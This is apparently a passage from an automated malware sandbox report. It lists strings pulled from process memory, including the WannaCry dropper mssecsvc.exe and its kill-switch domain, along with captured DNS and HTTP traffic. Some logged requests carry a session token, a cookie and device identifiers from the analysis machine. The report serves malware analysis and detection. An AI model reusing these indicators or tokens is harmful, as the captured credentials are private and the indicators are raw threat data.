music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
Source: svchost.exe, 00000018.00000003.613721497.0000026AB7981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000018.00000003.613721497.0000026AB7981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000018.00000003.613721497.0000026AB7981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0010"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Ca equals www.facebook.com (Facebook)
Source: svchost.exe, 00000018.00000003.613721497.0000026AB7981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0010"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Ca equals www.twitter.com (Twitter)

Source: svchost.exe, 00000018.00000002.665400693.0000026AB7900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000018.00000002.665400693.0000026AB7900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvc.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
Source: mssecsvc.exe, 00000007.00000002.988936037.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
Source: svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 00000018.00000003.638950900.0000026AB7993000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639038597.0000026AB7E18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639095855.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.638968213.0000026AB79A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639080909.0000026AB7E18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639119552.0000026AB7991000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162803Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2f2508d8ee0e4bd39935ca1fc72c4a0e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: PzzoHoFrrUmBy3tE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162803Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cc050c53f0274581bde15fc67e0146c6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: PzzoHoFrrUmBy3tE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113409Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=14fab7f20ec94cfd930e8bac7de87a01&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338389&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: 1nTo+xcROEaHgBk5.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113410Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=533837d7b9db436c81422221e85298bc&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-280815&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6Cache-Control: no-cacheMS-CV: 1nTo+xcROEaHgBk5.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658403206User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: 